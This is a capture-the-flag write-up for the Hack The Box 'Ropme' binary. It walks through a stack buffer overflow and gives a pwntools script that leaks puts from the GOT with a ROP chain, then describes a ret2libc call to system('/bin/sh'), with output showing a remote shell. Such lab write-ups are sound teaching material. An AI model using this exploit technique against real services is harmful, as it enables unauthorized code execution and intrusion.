Skip to content

Ropme

Enumeration

Let's start checking the security of the binary:

┌──(kali㉿kali)-[~/Desktop/HTB/Ropme]
└─$ checksec ropme
[*] '/home/kali/Desktop/HTB/Ropme/ropme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Even though PIE is disabled, ASLR is enabled to protect the addresses of libraries like glibc. Also NX is enabled so we can't execute shellcode in the stack. RELRO is partial, what means, we could modify the Global Offset Table (GOT) which allow the dynamic linker to load and link symbols. When a shared function is called, the GOT will point to the PLT where the dynamic linker is used to find the location of a certain function. Once the location is found, the address is saved in the GOT (Like a cache).

Time to spin up Ghidra and check the binary code:

undefined8 main(void)

{
  char local_48 [64];

  puts("ROP me outside, how \'about dah?");
  fflush(stdout);
  fgets(local_48,500,stdin);
  return 0;
}

As you can see, the program is vulnerable to buffer overflow because the fgets function receives 500 characters but the buffer only has 64 characters. I couldn't find something inside the binary to get a flag so taking into account the binary security we saw earlier... I guess we could try to execute a glibc function to be able to execute a shell.

We need to use a technique called ROP (Return Oriented Programming). The idea is to overflow the return address in a stack frame with the address of functions or gadgets that are in memory and start jumping from one to another. The objective is to get information about the location of functions in glibc, we know that the base location of the library is random but the offsets between functions remain always the same so if we can leak the address of one single function we can get the rest. This way we can try to execute the system function with /bin/sh as parameter (In 32 bits the function parameters go in the stack but in 64 bits they are in registers).

Address leak

Getting some extra data

First we need to leak a function address, we can use the puts function to print the address to the screen but we will need to pass the address as a parameter.

In our case we have a 64 binary so we have to manipulate the rdi register (The first argument is stored there) to control the parameter of the puts function. To do this, we have to find gadgets in the binary to do this for us, using radare we can find what we need to move data from the stack to the rdi register:

┌──(kali㉿kali)-[~/Desktop/HTB/Ropme]
└─$ r2 ./ropme
[0x00400530]> /R | grep 'pop rdi'
  0x004006d3                 5f  pop rdi

Cool, now is time to get the parameter for our puts function, a glibc function address, and also the location of the puts call, we need to call it. Since we already have to check some information of the puts function we can also choose it to leak its address:

[0x00400530]> pdf@sym.imp.puts
            ; CALL XREF from main @ 0x40063a
┌ 6: int sym.imp.puts (const char *s);
│ bp: 0 (vars 0, args 0)
│ sp: 0 (vars 0, args 0)
│ rg: 0 (vars 0, args 0)
└           0x004004e0      ff25320b2000   jmp qword [reloc.puts]      ; [0x601018:8]=0x4004e6
From this output we need the location of the puts call: 0x004004e0 and also the GOT entry address: 0x601018.

Finally we need to get the main function entrypoint because we want to force the program to restart once we leak the puts address:

[0x00400530]> afl | grep main
0x004004f0    1 6            sym.imp.__libc_start_main
0x00400626    1 71           main
The address for the main function is 0x00400626

Leak time!

I wrote this script to be able to leak the address we need:

#! /usr/bin/env python3

from pwn import *
import argparse

# Prepare env

parser = argparse.ArgumentParser(description='Pwn Ropme')
parser.add_argument('--remote', '-r', action='store_true')
args = parser.parse_args()

context.binary = './ropme'
if(args.remote):
  process = remote('<MACHINE_IP>', <MACHINE_PORT>)
else:
  process = process('./ropme')

# Start exploit

with log.progress('Leaking puts@glibc...') as p:
  junk = b'A' * 72
  pop_rdi = p64(0x4006d3) # Return address overwrite to move whatever pointed by RSP
  got_put = p64(0x601018) # Parameter pointed by RSP (Top of the stack), is the puts entry in the GOT table 
  put_call = p64(0x4004e0) # Return of pop call to execute puts with our parameter
  main_call = p64(0x400626) # Return to main softly to continue exploting with the address we got
  payload = junk + pop_rdi + got_put + put_call + main_call

  process.recvline('ROP me outside, how \'about dah?')
  process.sendline(payload)
  data = process.recvline()

  leaked_puts_raw = data.strip().ljust(8, b'\x00') # Make sure we have a 64 bits address (Adding missing 0s)
  leaked_puts = hex(u64(leaked_puts_raw))
  p.success(leaked_puts)

process.close()

It is prepared to be able to launch the attack against the local and the remote binary (You need the binary locally to configure the exploit context). One possible output for the remote (Remember that ASLR is enabled):

┌──(kali㉿kali)-[~/Desktop/HTB/Ropme]
└─$ ./test.py --remote
[*] '/home/kali/Desktop/HTB/Ropme/ropme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to <MACHINE_IP> on port <MACHINE_PORT>: Done
[+] Leaking puts@glibc...: 0x7fd8602c0690
[*] Closed connection to <MACHINE_IP> port <MACHINE_PORT>

Exploit time!

Now we need to know what is the glibc version of the server. Using https://libc.rip/, we can enter the leaked memory address and the symbol's name: puts to get what we want:

libc6_2.23-0ubuntu11_amd64
libc6_2.23-0ubuntu6_amd64
libc6_2.23-0ubuntu9_amd64
libc6_2.23-0ubuntu10_amd64
libc6_2.23-0ubuntu5_amd64
libc6_2.23-0ubuntu4_amd64
libc6_2.23-0ubuntu7_amd64
libc6_2.13-0ubuntu4_amd64
libc6_2.13-0ubuntu15_amd64

Clicking in the versions we can check the base address of the puts symbol: 0x6f690, also we can get the addreses for system: 0x45390 and the /bin/sh string as str_bin_sh: 0x18cd17 (I needed some try and error for this last one).

With all this information, we can add to our previous exploit a new section where, instead of executing the puts version to leak an address, we can execute the system function with /bin/sh as parameter. To get any glibc address, we have to first get the library offset: puts_leaked_address - puts_base_address and then we can just get any address doing: function_base_address + offset. I included as resource the complete Python script I used to exploit the binary:

┌──(kali㉿kali)-[~/Desktop/HTB/Ropme]
└─$ ./pwn_ropme --remote
[*] '/home/kali/Desktop/HTB/Ropme/ropme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to <MACHINE_IP> on port <MACHINE_PORT>: Done
[+] Leaking puts@glibc...: 0x7f64d9eab690
[+] Getting a shell...: Done
[*] Switching to interactive mode
ls
flag.txt
ropme
spawn.sh

If you try my Python script to exploit the binary locally and it fails, you will need to check your system glibc version and modify the script a bit.